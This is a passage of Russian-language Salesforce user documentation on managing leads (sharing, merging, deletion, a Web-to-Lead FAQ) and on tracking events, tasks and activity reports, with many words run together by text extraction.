Unlimited Edition и
Developer Edition.

Общий доступ можно расширить по сравнению со стандартной моделью общего
доступа: ваши собственные данные по принципу «интерес к интересу».

Стандартная модель общего доступа в организации определяется администратором. И
если для интересов выбрана модель общего доступа «Личная» или «Общий доступ:
только чтение», вы можете расширить доступ к вашим интересам с помощью общего
доступа к интересам. При этом вы сможете ограничить доступ лишь впределах уровней
доступа по умолчанию, принятых в вашей компании.

Подробныесведенияпообщемудоступуможнопросмотреть, щелкнув«Общийдоступ»
на странице подробных сведений об интересах.

СМ. ТАКЖЕ:

Интересы
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Объединение повторяющихся интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра интересов:
• «Чтение» для интересов

Для объединенияинтересов:
• «Удаление» для

интересов

Чтобы объединить повторяющиеся интересы, выполните указанные ниже действия.

1. Выберите нужный интерес.

2. Нажмите кнопку «Найти повторы».

3. Выберите не более трех интересов из списка найденных результатов.

Чтобынайтидругойинтерес, укажитеимяиликомпаниюинтересаинажмитекнопку
«Поиск». Система Salesforce выполнит фразовый поиск в полях «Имя» и
«Компания». Данный метод поиска подразумевает наличие специального символа
после искомой строки. Результаты поиска содержат совпадения по любым
заполненным полям (например, в результате поиска сотрудника компании «Acme»
по имени «СергейИванов», отображаются сотрудники любых компаний по имени
«СергейИванов» и любые интересы, связанные с компанией «Acme»).

4. Нажмите кнопку «Объединить интересы».

Совет: Чтобы преобразовать выбранный интерес в текущую организацию,
возможность или контакт, нажмите кнопку «Преобразовать интерес».

5. Выберитеодининтерес в качествеосновнойзаписи. Любыеданныев скрытыхполях
или полях, доступных только для чтения, извлекаются из основной записи. Однако
администраторыипользователисполномочием «Редактированиеполейтолькодля
чтения» могутвручнуювыбиратьполя, доступныетолькодлячтения, которыедолжны
быть сохранены. Обратите внимание, что скрытые поля не отображаются при
объединении.

6. Выберите нужные поля в каждой записи.

В случае конфликта данных, поля в левом столбце выбираются автоматически, а строка выделяется цветом.

7. Чтобы завершить объединение, нажмите кнопку «Объединить».

8. Для подтверждения нажмите кнопку «OK».

СМ. ТАКЖЕ:

Объединение повторяющихся контактов

Объединение повторяющихся организаций
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Вопросы удаления интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Что происходит с записями, связанными с интересами, которые вы удаляете.

Приудаленииинтересаего записьперемещаетсявкорзину. Связанныезаметки, вложения
и действия удаляются вместе с интересом. При восстановлении интереса все связанные
заметки, вложения и действия также восстанавливаются.

Отслеживание потенциальных возможностей как интересов. Вопросы и ответы

Интересы. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

• Что такое интерес?

• Каковы преимущества использования интересов?

• Можно ли преобразовать текущие организации или контакты в интересы?

• Сколько интересов можно собрать с веб-сайта?

• Что происходит при достижении ограничения по количеству веб-интересов?

• Как указать сведения для сбора?

• Можно ли собирать интересы с нескольких веб-страниц?

• Как веб-мастер может протестировать страницу Web-to-Lead?

• Кто несет ответственность за новые веб-интересы?

• Какой статус присваивается веб-интересам?

• Как гарантировать сохранность интересов?

• Как определить новые интересы?

• Что происходит при преобразовании интересов?

• Каким образом поля интересов соотносятся с другими полями во время преобразования?

Что такое интерес?
Интересы — это отдельные люди, интересующиеся продуктами или услугами компании. Преобразование интересов в
постоянныхклиентовпозволяетдобитьсяещебольшегоуспехавработе. Авозможностьсистемногоиструктурированного
управления обеспечивает непрерывный рост количества созданных и преобразованных интересов.

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы
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Каковы преимущества использования интересов?
Использование интересов позволяет компании поддерживать два разных списка — один для потенциальных клиентов,
а второй для текущих клиентов. Потенциальные клиенты могут храниться в качестве интересов, которые затем могут
быть преобразованы в организации, контакты и возможности (дополнительно).

Использованиеинтересовособенноудобнокомпаниям, содержащимдвеотдельныерабочие группы — однудлясоздания
интересов и массового маркетинга, а вторую для продаж. Таким образом, рабочая группа по созданию интересов может
использовать вкладку «Интересы», а группа, работающая с возможностями, может использовать вкладки «Организации»,
«Контакты» и «Возможности».

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы

Можно ли преобразовать текущие организации или контакты в интересы?

Нет. В качестве альтернативы рекомендуем создать возможность для организации или контакта. Для использования
интересов рекомендуем создать отчет, содержащий организации или контакты, которые должны быть преобразованы в
интересы, и выполнить их экспорт, а затем импортировать их в качестве интересов.

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы

Сколько интересов можно собрать с веб-сайта?
Версии Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяют ежедневно
собиратьнеболее500интересов. Еслиданноеколичествоинтересовявляетсянедостаточным, щелкнитессылку «Справка
и обучение» в верхней части любой страницы и откройте вкладку «Мои обращения», чтобы отправить запрос на
увеличение текущего ограничения в службу поддержки Salesforce.

При достижении ежедневного ограничения система Salesforce добавляет новые запросы в очередь, которая содержит
запросы Web-to-Case и Web-to-Lead. Запросы отправляются после обновления текущего ограничения. Очередь может
содержать не более 50 000 отложенных комбинированных запросов. При достижении ограничения по количеству
отложенных запросов дополнительные запросы отклоняются и не добавляются в очередь. Электронные уведомления о
первыхпятиотклоненныхзапросахотправляются администратору. Чтобыизменить текущееограничениепоколичеству
отложенных запросов, обратитесь в службу поддержки Salesforce.

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы

Что происходит при достижении ограничения по количеству веб-интересов?
Ежедневное ограничение составляет 500 запросов Web-to-Lead. Если компания превышает ограничение по количеству
созданныхинтересов, то авторинтересапоумолчанию, указанныйнастраниценастройкифункции Web-to-Lead, получает

1484

Отслеживание потенциальных возможностей как интересовПродажи клиентам



сообщениеэл. почты, содержащеесобраннуюинформацию. Чтобыувеличитьтекущееограничение, обратитесьв службу
поддержки.

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы

Как указать сведения для сбора?
При создании HTML для корпоративного веб-сайта пользователь может выбрать стандартные или настраиваемые поля
интересов, которые должны использоваться для сбора информации. Настраиваемые поля интересов должны быть
добавлены до создания HTML-кода. В меню «Настройка» введите «Web-to-Lead» в поле «Быстрый поиск», затем
выберите «Web-to-Lead», чтобы настроить функцию и создать необходимый HTML.

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы

Можно ли собирать интересы с нескольких веб-страниц?

Да. Вставьте созданный HTML-код на веб-страницы, которые должны использоваться для сбора интересов. Отправка
сведений посредством любой из этих веб-страниц инициирует создание интереса.

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы

Как веб-мастер может протестировать страницу Web-to-Lead?

Чтобы просмотреть страницу отладки при отправке формы, добавьте указанную ниже строку в код Web-to-Lead. Данная
строка должна быть удалена до публикацииформы Web-to-Lead на корпоративный веб-сайт.

<input type="hidden" name="debug" value="1">

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы

Кто несет ответственность за новые веб-интересы?

Администратор может создать правило назначения интересов, позволяющее определить способ автоматического
назначениявеб-интересовразнымпользователямилиочередям. Крометого, администратордолженнастроитьпараметры
интересовивыбратьответственногопоумолчанию, которомубудутназначатьсявсе веб-интересы, длякоторыхотсутствует
ответственныйсотрудник. Еслиправиланазначениянеиспользуются, то все веб-интересыназначаются автору интереса
по умолчанию, указанному при настройке функции Web-to-Lead.

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы
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Какой статус присваивается веб-интересам?

Всем новым веб-интересам присваивается статус, выбранный администратором по умолчанию при редактировании
значений раскрывающегося списка «Статус интереса». Кроме того, веб-интересы, помеченные как непрочитанные,
отображаются в столбце «Непрочитано» списковыхпредставленийинтересов сфлажком. Новомувеб-интересу, который
просматривается или редактируется пользователем, автоматически присваивается статус «Прочитано». Таким образом,
списковое представление «Мои непрочитанные интересы» может использоваться для быстрого поиска всех новых
интересов.

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы

Как гарантировать сохранность интересов?
Ежедневное ограничение составляет 500 запросов Web-to-Lead. Если организация превышает ежедневное ограничение
для функции Web-to-Lead, то автор интереса по умолчанию, указанный на странице настройки функции Web-to-Lead,
получает сообщение эл. почты, содержащее сведения о дополнительных интересах.

Еслиинтереснеможетбыть создан ввидуошибок, возникшихво времянастройкифункции Web-to-Lead, то уведомление
о данной проблеме отправляется в службу поддержки, которая поможет ее решить.

Компания Salesforce гарантирует сохранность интересов, отправленных во время планового простоя системы Salesforce.

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы

Как определить новые интересы?

Интерес, назначенный посредством ручного переноса, импорта или создания на веб-странице и помеченный как
непрочитанный, отображается в столбце «Не прочитано» списковых представлений интересов с флажком. Чтобы
просмотретьновыеинтересы, выберитесписковоепредставление «Моинепрочитанныеинтересы» навкладке «Интересы».
Новому интересу, который просматривается или редактируется пользователем, автоматически присваивается статус
«Прочитано».

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы

Что происходит при преобразовании интересов?
При преобразовании интересов система Salesforce использует сведения из преобразуемых интересов для создания
организаций, контактов и возможностей. Система Salesforce переносит любых участников кампании в новые контакты,
аинтересыстановятсядоступнымитолькодлячтения. Еслитекущиеорганизациииконтактыиспользуютимена, указанные
для интересов, то пользователь может обновить текущие организациии контакты. Система Salesforce добавляет сведения
из интереса в пустые поля; система Salesforce не перезаписывает текущие данные организаций и контактов.

Всеоткрытыеизакрытыедействияизинтересовсвязываютсясорганизациями, контактамиивозможностями. Пользователь
можетназначитьответственногоза записиизапланироватьдополнительныезадачи. Приназначенииновыхответственных
новому ответственному назначаются только открытые действия. Данные из настраиваемых полей интереса могут быть
добавлены в настраиваемые поля организации, контакта или возможности. Преобразованные интересы не могут
просматриваться пользователями, но отображаются в отчетах по интересам. Система Salesforce обновляет системные
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поля преобразованных интересов «Дата последнего изменения» и «Последнее изменение сделано» при изменении
соответствующего значения раскрывающегося списка.

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы

Каким образом поля интересов соотносятся с другими полями во время преобразования?
Сведения, доступныев стандартныхполяхпреобразуемогоинтереса, соотносятся со стандартнымиполямиорганизаций,
контактови возможностей. Сведения, доступныевнастраиваемыхполяхинтереса, соотносятся снастраиваемымиполями
организаций, контактов и возможностей, заданными администратором.

Любое стандартное поле раскрывающегося списка интересов, которое не содержит значения, автоматически наследует
стандартное значение раскрывающегося списка организаций, контактов и возможностей. Если организация использует
типы записей, то все записи, созданные при преобразовании интереса, наследуют тип записи по умолчанию для
ответственного за новую организацию, контакт или возможность.

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы

Можно ли автоматически отправлять сообщения эл. почты веб-интересам?

Да. Пользователь может создать правила автоматического ответа, которые будут отправлять потенциальным клиентам
сообщения эл. почты на основе оптимального шаблона.

СМ. ТАКЖЕ:

Интересы. Вопросы и ответы

Почему кнопка «Общий доступ» не отображается на странице записи?

Кнопка «Общийдоступ» позволяет предоставлять другим пользователям доступ к записи помимо единых стандартных
параметров или правил общего доступа. При необходимости данный доступ может быть легко удален.

Кнопка«Общийдоступ»отображаетсяпользователям, приусловии, чтомоделиобщегодоступак записиилисвязанной
записи задано значение «Личный» или «Общедоступный: только для чтения». Например, если единому стандартному
параметру для связанных возможностей задано значение «Общедоступный: только для чтения», то кнопка «Общий
доступ» может отображаться на странице организации, несмотря на то, что единому стандартному параметру для
организаций задано значение «Общедоступный: для чтения и записи».

Кнопка, доступная в макете страницы, отображается администраторам во всех записях. При отсутствии полномочий
администратора данная кнопка отображается только собственными записями пользователей.

СМ. ТАКЖЕ:

Просмотр и отображение. Вопросы и ответы
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Управление действиями, возможностями и продуктами

Планирование и отслеживание встреч и задач

Действия
События и задачи определяют эффективность продаж. Система Salesforce позволяет пользователям быстро готовиться
к любой встрече и просматривать самые важные задачи. Благодаря отслеживанию встреч и задач посредством списков
и отчетов, пользователи могут легко контролировать все интересы, контакты, возможности, организации и кампании.
Кроме того, событияи задачииспользуются в Salesforceприсоставленииархивныхотчетов. Действия Salesforceпозволяют
эффективно управлять своим рабочим днем самым разным категориям пользователей — будь то менеджер, раздающий
поручения, сотрудник отдела сбыта или торговый представитель, закрывающий 50 сделок в месяц.

Отслеживание связки событий и задач
Действия в системе Salesforce — это события, задачи пользователя, совершенные им вызовы и отправленные им
электронные сообщения. Salesforce позволяет отслеживать несколько действий одновременно разными способами.
Это помогает получить полную картину продвижения сделок и организаций.

Способы отслеживания дальнейших и прошлых действий
Высможетебыстропросматриватьвыполненныеипредстоящиедействияпообрабатываемымсделкамиорганизациям.

Рекомендации по использованию действий
Учитывайте эти рекомендации при использовании действий, включая последствия активации общедоступных
действий, принципы работы основных контактов, сводку действий по родительским записям и отображение даты
последнего действия.

Отчеты по действиям
You can run various reports to get insight into the progress and history of your accounts and deals. If your Salesforceadmin has
enabled Shared Activities, you can run certain standard or custom reports. These reports display details about events or tasks and
their related contacts, accounts, opportunities, and other associated records.

Доступ к действиям
Вы можете узнать, у кого есть доступ к просмотру, созданию и удалению событий и задач, а также о том, когда у них
появляется такой доступ. Управление совместным использованием календаря и общим доступом осуществляется
отдельно от доступа к конкретным действиям.

Напоминания о действиях в Salesforce Classic

Система Salesforce отображает напоминания о событиях и задачах в окне напоминания. Прииспользовании Salesforce
Classic окно напоминания открывается независимо от инициирования напоминания. При входе в систему Salesforce
Classic срабатывает звуковое уведомление, если смомента последнего входа имеются инициированныенапоминания.
Настроить напоминания можно в личных параметрах.

Архивные действия
Salesforce создает архивы событий и задач в расписании в соответствии с определенными критериями.

СМ. ТАКЖЕ:

События и календари

Задачи
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Отслеживание связки событий и задач
ДействиявсистемеSalesforce — этособытия, задачипользователя, совершенныеимвызовыиотправленныеимэлектронные
сообщения. Salesforce позволяет отслеживать несколько действий одновременно разными способами. Это помогает
получить полную картину продвижения сделок и организаций.

Отслеживание связанных событий и задач в Lightning Experience

Всегда знайте, какое действие необходимо выполнить следующим в каждой обрабатываемой сделке, и быстро
ознакомьтесь с тем, что уже произошло. Отслеживайте события, задачи, вызовы и электронные сообщения (далее
«Действия») на начальной странице, на доске канбан, на временнойшкале действий и в отчетах.

Отслеживание связанных событий и задач в Salesforce Classic

Пользовательможетотслеживать события, задачи, вызовыиэлектронныесообщения (далее «Действия») посредством
списков, календарей и отчетов. Отслеживание всех действий для организации позволит получить полную картину
подготовки, постобработки и других запланированных и завершенных работ, связанных с организацией. События и
задачи используют большое количество полей (например, тема, имя контакта и связанная запись).

Отслеживание связанных событий и задач в Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Developer Edition,
Enterprise Edition, Group
Edition, Performance
Edition, Professional Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Создание задач и вызовов
журнала
• «Редактирование задач»

Создание событий
• «Редактирование

событий»

Отправка сообщений эл.
почты
• «Отправка эл. почты»

Всегда знайте, какое действие необходимо выполнить следующим в каждой
обрабатываемойсделке, ибыстроознакомьтесь с тем, чтоужепроизошло. Отслеживайте
события, задачи, вызовы и электронные сообщения (далее «Действия») на начальной
странице, на доске канбан, на временнойшкале действий и в отчетах.

• Используйте начальную страницу.

На начальной странице поле «Предстоящие события» отображает следующие пять
встречна сегодняшнемкалендаре, а «Сегодняшние задачи» отображают следующие
пять задач на сегодня. Прошедшие события удаляются из предстоящих событий по
мере прохождения рабочего дня.

• Используйте доску канбан.

Желтый треугольник на потенциальном клиенте или интересующемся клиенте
означает отсутствие расписания встреч и задач для сделки. Чтобы запустить сделку,
щелкните по этому треугольнику и создайте действие.

• Использование графика действия.

Временная шкала действия показывает открытые задачи, предстоящие встречи и
последниедействия для тогоилииногопотенциального клиента, интересующегося
клиента, организации или контакта.

• Использование отчетов о действиях.

Пользователь может выполнять разные отчеты, предназначенные для получения
подробных сведений об обработке и журнале организаций и сделок. Если
администратор Salesforce активировал «Общедоступные действия», пользователь
может выполнять определенные стандартные или настраиваемые отчеты. Такие
отчетыотображают сведения о событияхили задачах и связанных с ними контактах,
организациях, потенциальных клиентах и других связанных записях.
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Отслеживание связанных событий и задач в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Создание задач и вызовов
журнала
• «Редактирование задач»

Создание событий
• «Редактирование

событий»

Отправка сообщений эл.
почты
• «Отправка эл. почты»

Пользователь может отслеживать события, задачи, вызовы и электронные сообщения
(далее «Действия») посредством списков, календарей и отчетов. Отслеживание всех
действий для организации позволит получить полную картину подготовки,
постобработки и других запланированных и завершенных работ, связанных с
организацией. События и задачи используют большое количество полей (например,
тема, имя контакта и связанная запись).

Списковые представления действий

Система Salesforce поддерживает разные списковые представления действий. При
необходимости пользователи могут создавать собственные представления.

Все действия
Данное представление отображает события и задачи, доступные для просмотра.
Списковое представление «Все действия» в версии Personal Edition отображает все
действия.

Мои действия
Данное представление отображает собственные события и задачи.

Мои делегированные действия
Данноепредставление отображает действия, созданные текущимпользователем, но
принадлежащие другому пользователю.

Прим.: Назначение нескольких пользователей Salesforce событию или задаче
аналогично делегированию им данного действия. Списковое представление
«Мои делегированные действия» отображает действия для всех назначенных,
несмотря на их принадлежность. Приглашенный пользователь отображается
в списковом представлении в качестве пользователя, назначенного действию,
однакона страницесведенийодействиив качественазначенногоотображается
текущий пользователь.

Действия моей рабочей группы
Данноепредставлениеотображаетдействия, принадлежащиеподчиненнымпользователямвиерархииролей. Действия
рабочей группы отображаются в соответствии с часовым поясом текущего пользователя.

Другие списки действий

Связанный список «Открытые действия»
Связанный список записи «Открытые действия» содержит все будущие события и открытые задачи, связанные с
записью.

Связанный список «Журнал действий»
Связанный список записи «Журнал действий» содержит все завершенные задачи, зарегистрированные телефонные
вызовы, сохраненные журналы взаимодействия, истекшие события, исходящие сообщения эл. почты, пакетные
рассылкиисообщения эл. почты Microsoft® Outlook®, а также стандартныедокументыдля текущейисвязанных записей.

Вкладка «Консоль»
Вкладка «Консоль» позволяет находить, просматривать и изменять действия и связанные с ними записи на экране.
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Отчеты по действиям

Стандартные и пользовательские отчеты о действиях
Пользователь может запускать разные отчеты, предназначенные для получения подробных сведений об обработке
ижурналеорганизацийисделок. ЕслиадминистраторSalesforce активировал «Общедоступныедействия», пользователь
можетзапускатьопределенныестандартныеилинастраиваемыеотчеты. Такиеотчетыотображаютсведенияособытиях
или задачах и связанных с ними контактах, организациях, потенциальных клиентах и других связанных записях.

Способы отслеживания дальнейших и прошлых действий
Вы сможете быстро просматривать выполненныеи предстоящие действия по обрабатываемым сделкам и организациям.

Управление рабочими процессами и просмотр прошлых действий в Lightning Experience

Всегда знайте, какое действие необходимо выполнить следующим в каждой обрабатываемой сделке, и быстро
ознакомьтесь с тем, что уже произошло. Начальная страница и временная шкала действий отображают открытые
задачиипредстоящиевстречи. Временнаяшкаладействийтакжепоказываетпоследниедействиядляпотенциального
клиента, интересующегося клиента, организации или контакта.

Работайте над открытыми действиями и просматривайте журнал действий в Salesforce Classic

Связанные списки «Открытые действия» и «Журнал действий» позволяют быстро просматривать выполненные и
предстоящиедействиянадобрабатываемымисделкамииорганизациями. Используйтекнопкииссылкидля создания
задачи, отправки запроса на проведение встречиилиобновленияиз записи контакта, регистрациивызова иотправки
сообщения эл. почты. Если вы используете организации-лица, вы можете входить в них либо по полю «Имя», либо
по полю «Связано с», которые относятся к событию или задаче.
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Управление рабочими процессами и просмотр прошлых действий в Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Developer Edition,
Enterprise Edition, Group
Edition, Performance
Edition, Professional Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания задач и
регистрации вызовов:
• «Редактирование задач»

Для создания событий:
• «Редактирование

событий»

Для отправки сообщений
эл. почты:
• «Отправка эл. почты»

Всегда знайте, какое действие необходимо выполнить следующим в каждой
обрабатываемой сделке, и быстро ознакомьтесь с тем, что уже произошло. Начальная
страница и временная шкала действий отображают открытые задачи и предстоящие
встречи. Временная шкала действий также показывает последние действия для
потенциального клиента, интересующегося клиента, организации или контакта.

• Воспользуйтесь следующими этапами для сделки или организации.

Наначальнойстранице, вразделе «Предстоящиесобытия», отображаютсяследующие
пять встреч в календаре на сегодня. Раздел «Сегодняшние задачи» отображает
следующие пять задач на сегодня.

На временнойшкале используйте область «Дальнейших действий» для управления
открытыми задачами и просмотра предстоящих встреч. Добавьте задачи и встречи
посредством компоновщика действий, расположенногонад временнойшкалой. Вы
можете одновременно сфокусироваться на действиях одного типа путем выбора
представления.

Действия, добавленные на временнуюшкалу, отображаются для потенциального
клиента, интересующегося клиента или другой обрабатываемой записи
автоматически. Раздел «Дальнейшие действия» отображает действия пользователя
для других связанных записей. При добавлении задачи к потенциальному клиенту
задача также отображается с контактом, который связан с этим потенциальным
клиентом.

Прим.: Выможетеудалитьконтактилизаписьдействия, неудаляясамодействие.
Предположим, что задача связана с контактами «А» и «Б», но должна быть
связана только с контактом «А». Рекомендуем просто удалить контакт «Б» из
поля «Имя» вместо удаления задачи.

• Просмотрите прошлые действия.

Раздел «Прошлые действия» отображает прошедшие встречи, зарегистрированные вызовы и сообщения эл. почты,
отправленные посредством компоновщика действий. Подобно элементам раздела «Следующие этапы», элементы
раздела «Прошлые действия» отображаются для других связанных записей.
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Работайте над открытыми действиями и просматривайте журнал действий в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Создание задач и вызовов
журнала
• «Редактирование задач»

Создание событий
• «Редактирование

событий»

Отправка сообщений эл.
почты
• «Отправка эл. почты»

Связанные списки «Открытые действия» и «Журнал действий» позволяют быстро
просматривать выполненные и предстоящие действия над обрабатываемыми сделками
и организациями. Используйте кнопкии ссылки для создания задачи, отправки запроса
на проведение встречи или обновления из записи контакта, регистрации вызова и
отправки сообщения эл. почты. Если вы используете организации-лица, вы можете
входить в них либо по полю «Имя», либо по полю «Связано с», которые относятся к
событию или задаче.

Открытые действия

Связанный список «Открытые действия» содержит открытые задачи, будущие события
и запрошенныевстречи, связанныесдругимизаписями. Допустим, предстоящаявстреча
в вашем календаре связана с контактом. Это событие отображается в связанном списке
«Открытые действия» для этого контакта и организации, с которой связан контакт.

Используйте список «Открытые действия», чтобы выполнять следующие задачи:

• Создание событий и задач, которые автоматически связываются с записью.

• Отправка контакту запросанапроведениевстречи (значок соответствует запросу,
отправленному контакту по эл. почте).

• Отправка контакту запроса на обновление.

• Редактирование, закрытие или удаление действий из списка.

Вы можете отправлять запросы о встречах и на изменение контакта, интереса или личной учетной записи.

Журнал действий

Связанный список «Журнал действий» содержит все завершенные задачи, зарегистрированные телефонные вызовы,
сохраненные журналы взаимодействия, истекшие события, исходящие сообщения эл. почты, пакетные рассылки и
сообщения эл. почты Microsoft® Outlook®, а также стандартные документы для текущей и связанных записей. Например,
вытолькочто закончиливыполнение задачи, связаннойс контактом. Эта задачаотображается в связанномспискеЖурнал
действий для этого контакта и учетной записи.

Ниже перечислены действия, доступные в связанном списке «Журнал действий».

Зарегистрировать вызов
Ввод результатов внепланового телефонного вызова и планирование дополнительной задачи. Вызов отображается
как завершенная задача в связанномсписке «Журналдействий», а задача отображается в связанномсписке «Открытые
действия».

Стандартные письма
Созданиеперсонализированныхдокументовпутемиспользованияданныхишаблонов Microsoft Word, предоставленных
администратором. Доступностьобъединенногодокументав связанномсписке «Журналдействий» можетопределяться
пользователем. Данная кнопка доступна только для некоторых типов записей.

Отправить сообщение эл. почты
Отправка сообщения эл. почты контакту, а также связывание сообщения эл. почты с контактом и соответствующей
организацией, возможностью, обращениемилинастраиваемымобъектом. Темадлиноюболее 100 символовусекается
многоточием (...). Данная кнопка доступна только для некоторых типов записей.
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Отправить сообщение Gmail
Отправка сообщения эл. почты контакту посредством аккаунта Gmail. Если эта ссылка не отображается, попросите
администратораSalesforce включитькнопкииссылкиGmail. Крометого, приналичиифункции «Отправитьсообщение
Gmail в Salesforce» отправленное сообщение эл. почты отображается в связанном списке «Журнал действий» записи
контакта или интереса.

Запросить обновление
Отправка сообщения эл. почтыконтакту для запросаобновления текущихконтактныхданных. Приполученииответа
запись контакта может быть обновлена. Данное сообщение эл. почты и запросы на пакетное обновление контактов
отображаются в связанном списке «Журнал действий».

Просмотреть все
Отображение печатной версии доступного журнала действий для записи, если у записи имеется журнал действий.

Определение необходимости отображения действия на портале самообслуживания
Если администратор Salesforce добавил связанный список «Действия обращения» в макет страницы «Просмотр
обращений» на портале самообслуживания, а пользователь установил флажок безопасности полей «Отображается
на портале самообслуживания» длядействий, токаждоедействиеподдерживаетуказанныенижеэлементыинтерфейса.

• «Сделать общедоступным»: отображение завершенного действия в связанном списке обращения «Журнал
действий» на портале самообслуживания.

• «Сделать личным»: скрытие завершенного действия в связанном списке обращения «Журнал действий» на
портале самообслуживания.

Рекомендации по использованию действий

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Contact Manager,
Personal, Group,
Professional, Enterprise,
Performance, Unlimited и
Developer

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

Учитывайте эти рекомендации при использовании действий, включая последствия
активации общедоступных действий, принципы работы основных контактов, сводку
действий по родительским записям и отображение даты последнего действия.

Общедоступные действия позволяют получить более точное представление о
действиях, связанных со сделками

Вы можете связывать между собой разные объекты, чтобы лучше понимать и
использоватьсобственныеданные. Например, присозданиизадачивыможетесвязать
ее как с компанией, так и с максимум 50 контактами (но только одним интересом).
После этого в системе Salesforce эта задача отображается вместе с с компанией и
вашими контактами на временнойшкале действий, в связанных списках и отчетах.
Есливыневидитепараметрдобавлениянесколькихконтактовкдействию, обратитесь
к своему администратору Salesforce, чтобыактивировать «Общедоступныедействия».

На странице сведений для каждого контакта вы увидите связанные события и задачи
в связанных списках «Открытые действия» и «Журнал действий» радом с другими
даннымиконтакта. Напротив, настраницесведенийособытииилизадаче, выувидите
имена всех контактов, связанных с этим действием, а также другие сведения. Если вы
не видите все контакты, связанные с действием, обратитесь к администратору Salesforce по вопросу добавления
связанного списка «Имя» в макет страницы сведений о действии.

Каждое действие имеет основной контакт
Если ваш администратор Salesforce включит функцию «Общедоступные действия», вы сможете привязать каждое
событие или задачу к максимум 50 контактам. Вы выбирается один контакт в качестве основного для этого действия.

При удалении основного контакта роль нового основного контакта назначается следующему контакту в связанном
списке действия. Чтобы выбрать другой основной контакт, рекомендуем изменить действие. В списках и отчетах
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основныеивторостепенныеконтактыотображаютсяпо-разному. Приотсутствиифункции «Общедоступныедействия»
пользователь может связывать каждое событие или задачу только с одним контактом.

Сведение действий для родительских записей
Предположим, что вы создаете действие и связываете его с учетной записью и контактом. Если этот контакт связан
с другой учетной записью, действие подставляется к родительской организации контакта. Например:

• Задача «Вызовторговогопредставителя» напрямуюсвязана сорганизацией «Глобальныемедиауслуги» иконтактом
Иван Петров.

• Организация «Высокотехнологичные решения» является родительской для контакта Иван Петров.

• Задача «Вызов торгового представителя» отображается на страницах сведений об организациях «Глобальные
медиауслуги» и «Высокотехнологичные решения».

Дата «Последнее действие» указывает на последние встречи и задачи.
Поле «Последнее действие» содержит дату в списках, связанных с действиями, и отображает последнее действие
пользователя в компании с организацией или контактом. Эта дата является датой и временем последнего события
или крайним сроком последней закрытой связанной задачи.

Действия сводят связанные записи. Таким образом, дата последнего действия с организацией или контактом может
отображать действие, не связанноенапрямую, через другую запись. Например, пользователюдоступна возможность,
связанная с организацией. Поле организации «Дата последнего действия» может отображать встречу, связанную с
возможностью, а не с организацией.

Если администратор Salesforce включил функцию «Общедоступные действия», поле контакта «Дата последнего
действия» содержит дату, которая определяется на основе последнего действия основного контакта. Например:

• Елена является контактом, связанным с двумя задачами.

• Елена не является основным контактом для первой задачи с крайним сроком 30 ноября.

• Елена является основным контактом для другой задачи с крайним сроком 15 ноября.

• Поле «Дата последнего действия» содержит дату «15 ноября», так как данная дата соответствует крайнему сроку
последней задачи, где Елена является основным контактом.

СМ. ТАКЖЕ:

Рекомендации по использованию событий и календарей в Lightning Experience

Рекомендации по использованию задач в Lightning Experience
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Отчеты по действиям

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Contact Manager,
Personal, Group,
Professional, Enterprise,
Performance, Unlimited и
Developer

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

You can run various reports to get insight into the progress and history of your accounts and deals.
If your Salesforceadmin has enabled Shared Activities, you can run certain standard or custom
reports. These reports display details about events or tasks and their related contacts, accounts,
opportunities, and other associated records.

Отчеты, доступные для действий
Запуск стандартных или настраиваемых отчетов, в которых отображаются сведения
о задачахилисобытияхисвязанныхснимиконтактах, организациях, потенциальных
клиентах, а также другие связанные записи.

Составление отчетов по встречам торговых представителей с клиентами
Просмотрите распределение рабочего времени сотрудниками отдела продаж.
Создайте настраиваемый отчет, в котором содержится информация о том, какие
торговые представители занимаются обслуживанием.

Отчеты, доступные для действий

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Contact Manager,
Personal, Group,
Professional, Enterprise,
Performance, Unlimited и
Developer

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

Запуск стандартных или настраиваемых отчетов, в которых отображаются сведения о
задачах или событиях и связанных с ними контактах, организациях, потенциальных
клиентах, а также другие связанные записи.

Рекомендуемый отчетПросматриваемые
сведения

